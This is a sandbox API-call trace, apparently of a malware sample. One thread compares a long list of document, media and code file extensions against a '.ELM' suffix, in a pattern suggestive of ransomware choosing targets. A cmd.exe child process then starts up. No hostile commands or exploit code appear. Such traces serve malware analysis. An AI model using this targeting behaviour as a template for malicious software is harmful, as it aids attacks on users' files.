	[0093.419] lstrlenW (lpString=".max") returned 4
	[0093.419] lstrcmpiW (lpString1=".max", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".md") returned 3
	[0093.419] lstrcmpiW (lpString1=".md", lpString2="ELM") returned -1
	[0093.419] lstrlenW (lpString=".mda") returned 4
	[0093.419] lstrcmpiW (lpString1=".mda", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".mdb") returned 4
	[0093.419] lstrcmpiW (lpString1=".mdb", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".mde") returned 4
	[0093.419] lstrcmpiW (lpString1=".mde", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".mdf") returned 4
	[0093.419] lstrcmpiW (lpString1=".mdf", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".mdw") returned 4
	[0093.419] lstrcmpiW (lpString1=".mdw", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mef") returned 4
	[0093.420] lstrcmpiW (lpString1=".mef", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mft") returned 4
	[0093.420] lstrcmpiW (lpString1=".mft", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mfw") returned 4
	[0093.420] lstrcmpiW (lpString1=".mfw", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mht") returned 4
	[0093.420] lstrcmpiW (lpString1=".mht", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mhtml") returned 6
	[0093.420] lstrcmpiW (lpString1=".mhtml", lpString2="CE.ELM") returned -1
	[0093.420] lstrlenW (lpString=".mka") returned 4
	[0093.420] lstrcmpiW (lpString1=".mka", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mkidx") returned 6
	[0093.420] lstrcmpiW (lpString1=".mkidx", lpString2="CE.ELM") returned -1
	[0093.420] lstrlenW (lpString=".mkv") returned 4
	[0093.420] lstrcmpiW (lpString1=".mkv", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mos") returned 4
	[0093.420] lstrcmpiW (lpString1=".mos", lpString2=".ELM") returned 1
	[0093.420] lstrlenW (lpString=".mov") returned 4
	[0093.421] lstrcmpiW (lpString1=".mov", lpString2=".ELM") returned 1
	[0093.421] lstrlenW (lpString=".mp3") returned 4
	[0093.421] lstrcmpiW (lpString1=".mp3", lpString2=".ELM") returned 1
	[0093.421] lstrlenW (lpString=".mp4") returned 4
	[0093.421] lstrcmpiW (lpString1=".mp4", lpString2=".ELM") returned 1
	[0093.421] lstrlenW (lpString=".mpeg") returned 5
	[0093.421] lstrcmpiW (lpString1=".mpeg", lpString2="E.ELM") returned -1
	[0093.425] lstrlenW (lpString=".mpg") returned 4
	[0093.425] lstrcmpiW (lpString1=".mpg", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".mpv") returned 4
	[0093.425] lstrcmpiW (lpString1=".mpv", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".mrw") returned 4
	[0093.425] lstrcmpiW (lpString1=".mrw", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".msg") returned 4
	[0093.425] lstrcmpiW (lpString1=".msg", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".mxl") returned 4
	[0093.425] lstrcmpiW (lpString1=".mxl", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".myd") returned 4
	[0093.425] lstrcmpiW (lpString1=".myd", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".myi") returned 4
	[0093.425] lstrcmpiW (lpString1=".myi", lpString2=".ELM") returned 1
	[0093.425] lstrlenW (lpString=".nef") returned 4
	[0093.426] lstrcmpiW (lpString1=".nef", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".nrw") returned 4
	[0093.426] lstrcmpiW (lpString1=".nrw", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".obj") returned 4
	[0093.426] lstrcmpiW (lpString1=".obj", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".odb") returned 4
	[0093.426] lstrcmpiW (lpString1=".odb", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".odc") returned 4
	[0093.426] lstrcmpiW (lpString1=".odc", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".odm") returned 4
	[0093.426] lstrcmpiW (lpString1=".odm", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".odp") returned 4
	[0093.426] lstrcmpiW (lpString1=".odp", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".ods") returned 4
	[0093.426] lstrcmpiW (lpString1=".ods", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".oft") returned 4
	[0093.426] lstrcmpiW (lpString1=".oft", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".one") returned 4
	[0093.426] lstrcmpiW (lpString1=".one", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".onepkg") returned 7
	[0093.426] lstrcmpiW (lpString1=".onepkg", lpString2="ICE.ELM") returned -1
	[0093.426] lstrlenW (lpString=".onetoc2") returned 8
	[0093.426] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1
	[0093.426] lstrlenW (lpString=".opt") returned 4
	[0093.426] lstrcmpiW (lpString1=".opt", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".oqy") returned 4
	[0093.426] lstrcmpiW (lpString1=".oqy", lpString2=".ELM") returned 1
	[0093.426] lstrlenW (lpString=".orf") returned 4
	[0093.426] lstrcmpiW (lpString1=".orf", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".p12") returned 4
	[0093.427] lstrcmpiW (lpString1=".p12", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".p7b") returned 4
	[0093.427] lstrcmpiW (lpString1=".p7b", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".p7c") returned 4
	[0093.427] lstrcmpiW (lpString1=".p7c", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".pam") returned 4
	[0093.427] lstrcmpiW (lpString1=".pam", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".pbm") returned 4
	[0093.427] lstrcmpiW (lpString1=".pbm", lpString2=".ELM") returned 1
	[0093.427] lstrlenW (lpString=".pct") returned 4
	[0093.428] lstrcmpiW (lpString1=".pct", lpString2=".ELM") returned 1
	[0093.428] lstrlenW (lpString=".pcx") returned 4
	[0093.671] lstrcmpiW (lpString1=".pcx", lpString2=".ELM") returned 1
	[0093.671] lstrlenW (lpString=".pdd") returned 4
	[0093.671] lstrcmpiW (lpString1=".pdd", lpString2=".ELM") returned 1
	[0093.671] lstrlenW (lpString=".pdf") returned 4
	[0093.672] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pdp") returned 4
	[0093.672] lstrcmpiW (lpString1=".pdp", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pef") returned 4
	[0093.672] lstrcmpiW (lpString1=".pef", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pem") returned 4
	[0093.672] lstrcmpiW (lpString1=".pem", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pff") returned 4
	[0093.672] lstrcmpiW (lpString1=".pff", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pfm") returned 4
	[0093.672] lstrcmpiW (lpString1=".pfm", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pfx") returned 4
	[0093.672] lstrcmpiW (lpString1=".pfx", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".pgm") returned 4
	[0093.672] lstrcmpiW (lpString1=".pgm", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".php") returned 4
	[0093.672] lstrcmpiW (lpString1=".php", lpString2=".ELM") returned 1
	[0093.672] lstrlenW (lpString=".php3") returned 5
	[0093.672] lstrcmpiW (lpString1=".php3", lpString2="E.ELM") returned -1
	[0093.672] lstrlenW (lpString=".php4") returned 5
	[0093.672] lstrcmpiW (lpString1=".php4", lpString2="E.ELM") returned -1
	[0093.672] lstrlenW (lpString=".php5") returned 5
	[0093.672] lstrcmpiW (lpString1=".php5", lpString2="E.ELM") returned -1
	[0093.672] lstrlenW (lpString=".phtml") returned 6
	[0093.672] lstrcmpiW (lpString1=".phtml", lpString2="CE.ELM") returned -1
	[0093.672] lstrlenW (lpString=".pict") returned 5
	[0093.672] lstrcmpiW (lpString1=".pict", lpString2="E.ELM") returned -1
	[0093.672] lstrlenW (lpString=".pl") returned 3
	[0093.672] lstrcmpiW (lpString1=".pl", lpString2="ELM") returned -1
	[0093.673] lstrlenW (lpString=".pls") returned 4
	[0093.673] lstrcmpiW (lpString1=".pls", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".pm") returned 3
	[0093.673] lstrcmpiW (lpString1=".pm", lpString2="ELM") returned -1
	[0093.673] lstrlenW (lpString=".png") returned 4
	[0093.673] lstrcmpiW (lpString1=".png", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".pnm") returned 4
	[0093.673] lstrcmpiW (lpString1=".pnm", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".pot") returned 4
	[0093.673] lstrcmpiW (lpString1=".pot", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".potm") returned 5
	[0093.673] lstrcmpiW (lpString1=".potm", lpString2="E.ELM") returned -1
	[0093.673] lstrlenW (lpString=".potx") returned 5
	[0093.673] lstrcmpiW (lpString1=".potx", lpString2="E.ELM") returned -1
	[0093.673] lstrlenW (lpString=".ppa") returned 4
	[0093.673] lstrcmpiW (lpString1=".ppa", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".ppam") returned 5
	[0093.673] lstrcmpiW (lpString1=".ppam", lpString2="E.ELM") returned -1
	[0093.673] lstrlenW (lpString=".ppm") returned 4
	[0093.673] lstrcmpiW (lpString1=".ppm", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".pps") returned 4
	[0093.673] lstrcmpiW (lpString1=".pps", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".ppsm") returned 5
	[0093.673] lstrcmpiW (lpString1=".ppsm", lpString2="E.ELM") returned -1
	[0093.673] lstrlenW (lpString=".ppt") returned 4
	[0093.673] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1
	[0093.673] lstrlenW (lpString=".pptm") returned 5
	[0093.673] lstrcmpiW (lpString1=".pptm", lpString2="E.ELM") returned -1
	[0093.673] lstrlenW (lpString=".pptx") returned 5
	[0093.673] lstrcmpiW (lpString1=".pptx", lpString2="E.ELM") returned -1
	[0093.674] lstrlenW (lpString=".prn") returned 4
	[0093.674] lstrcmpiW (lpString1=".prn", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".ps") returned 3
	[0093.674] lstrcmpiW (lpString1=".ps", lpString2="ELM") returned -1
	[0093.674] lstrlenW (lpString=".psb") returned 4
	[0093.674] lstrcmpiW (lpString1=".psb", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".psd") returned 4
	[0093.674] lstrcmpiW (lpString1=".psd", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".pst") returned 4
	[0093.674] lstrcmpiW (lpString1=".pst", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".ptx") returned 4
	[0093.674] lstrcmpiW (lpString1=".ptx", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".pub") returned 4
	[0093.674] lstrcmpiW (lpString1=".pub", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".pwm") returned 4
	[0093.674] lstrcmpiW (lpString1=".pwm", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".pxr") returned 4
	[0093.674] lstrcmpiW (lpString1=".pxr", lpString2=".ELM") returned 1
	[0093.674] lstrlenW (lpString=".py") returned 3
	[0093.674] lstrcmpiW (lpString1=".py", lpString2="ELM") returned -1
	[0093.674] lstrlenW (lpString=".qt") returned 3
	[0093.674] lstrcmpiW (lpString1=".qt", lpString2="ELM") returned -1
	[0093.674] lstrlenW (lpString=".r3d") returned 4
	[0093.674] lstrcmpiW (lpString1=".r3d", lpString2=".ELM") returned 1

Thread:
	id = 22
	os_tid = 0xaf8


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x412e4000"
	os_pid = "0xa4c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xa40"
	cmd_line = "\"C:\\Windows\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0xa50

	[0086.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbb0 | out: lpSystemTimeAsFileTime=0x18fbb0*(dwLowDateTime=0x2f8a6620, dwHighDateTime=0x1d50c3c)) 
	[0086.542] GetCurrentProcessId () returned 0xa4c
	[0086.542] GetCurrentThreadId () returned 0xa50
	[0086.542] GetTickCount () returned 0x1c531
	[0086.542] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbb8 | out: lpPerformanceCount=0x18fbb8*=15842196026) returned 1
	[0086.543] GetModuleHandleW (lpModuleName=0x0) returned 0x4a9b0000
	[0086.543] __set_app_type (_Type=0x1) 
	[0086.543] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9d7810) returned 0x0
	[0086.543] __getmainargs (in: _Argc=0x4a9fa608, _Argv=0x4a9fa618, _Env=0x4a9fa610, _DoWildCard=0, _StartInfo=0x4a9de0f4 | out: _Argc=0x4a9fa608, _Argv=0x4a9fa618, _Env=0x4a9fa610) returned 0
	[0086.543] GetCurrentThreadId () returned 0xa50
	[0086.543] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa50) returned 0x3c
	[0086.547] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000
	[0086.547] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40
	[0086.548] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0086.548] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0086.548] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fb48 | out: phkResult=0x18fb48*=0x0) returned 0x2
	[0086.548] VirtualQuery (in: lpAddress=0x18fb30, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0086.548] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0086.548] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0086.548] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0086.548] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18fab0, dwLength=0x30 | out: lpBuffer=0x18fab0*(BaseAddress=0x190000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0086.548] GetConsoleOutputCP () returned 0x1b5
	[0086.548] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9ebfe0 | out: lpCPInfo=0x4a9ebfe0) returned 1
	[0086.549] SetConsoleCtrlHandler (HandlerRoutine=0x4a9d3184, Add=1) returned 1
	[0086.549] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.550] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0086.550] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.550] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a9de194 | out: lpMode=0x4a9de194) returned 0
	[0086.550] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.550] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a9de198 | out: lpMode=0x4a9de198) returned 0
	[0086.550] GetEnvironmentStringsW () returned 0x1d8a60*
	[0086.550] GetProcessHeap () returned 0x1c0000
	[0086.550] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xa7c) returned 0x1d94f0
	[0086.550] FreeEnvironmentStringsW (penv=0x1d8a60) returned 1
	[0086.551] GetProcessHeap () returned 0x1c0000
	[0086.551] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x8) returned 0x1d88e0
	[0086.551] GetEnvironmentStringsW () returned 0x1d8a60*
	[0086.551] GetProcessHeap () returned 0x1c0000
	[0086.551] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xa7c) returned 0x1d9f80
	[0086.551] FreeEnvironmentStringsW (penv=0x1d8a60) returned 1
	[0086.551] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ea08 | out: phkResult=0x18ea08*=0x44) returned 0x0
	[0086.551] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x18, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.551] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.551] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.551] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x0, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.552] RegCloseKey (hKey=0x44) returned 0x0
	[0086.552] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ea08 | out: phkResult=0x18ea08*=0x44) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x40, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x1, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x0, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x4, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x4) returned 0x0
	[0086.552] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ea00, lpData=0x18ea20, lpcbData=0x18ea04*=0x1000 | out: lpType=0x18ea00*=0x0, lpData=0x18ea20*=0x9, lpcbData=0x18ea04*=0x1000) returned 0x2
	[0086.552] RegCloseKey (hKey=0x44) returned 0x0
	[0086.552] time (in: timer=0x0 | out: timer=0x0) returned 0x5cdded47
	[0086.552] srand (_Seed=0x5cdded47) 
	[0086.553] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0086.553] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0086.553] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9ec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0086.553] GetProcessHeap () returned 0x1c0000
	[0086.553] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x218) returned 0x1daa10
	[0086.553] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1daa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0086.553] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0086.553] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0086.553] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0086.553] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0086.553] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0086.554] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0086.554] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0086.554] GetProcessHeap () returned 0x1c0000
	[0086.554] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d94f0 | out: hHeap=0x1c0000) returned 1
	[0086.554] GetEnvironmentStringsW () returned 0x1d8a60*
	[0086.554] GetProcessHeap () returned 0x1c0000
	[0086.554] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xa94) returned 0x1dac30
	[0086.554] FreeEnvironmentStringsW (penv=0x1d8a60) returned 1
	[0086.554] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0086.554] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0086.554] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0086.555] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0086.555] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0086.555] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0086.555] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0086.555] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0086.555] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0086.555] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0086.555] GetProcessHeap () returned 0x1c0000
	[0086.555] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x5c) returned 0x1db6d0
	[0086.555] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f810 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0086.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18f810, lpFilePart=0x18f7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f7f0*="Desktop") returned 0x25
	[0086.555] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0086.555] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x1db740
	[0086.555] FindClose (in: hFindFile=0x1db740 | out: hFindFile=0x1db740) returned 1
	[0086.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x1db740
	[0086.556] FindClose (in: hFindFile=0x1db740 | out: hFindFile=0x1db740) returned 1
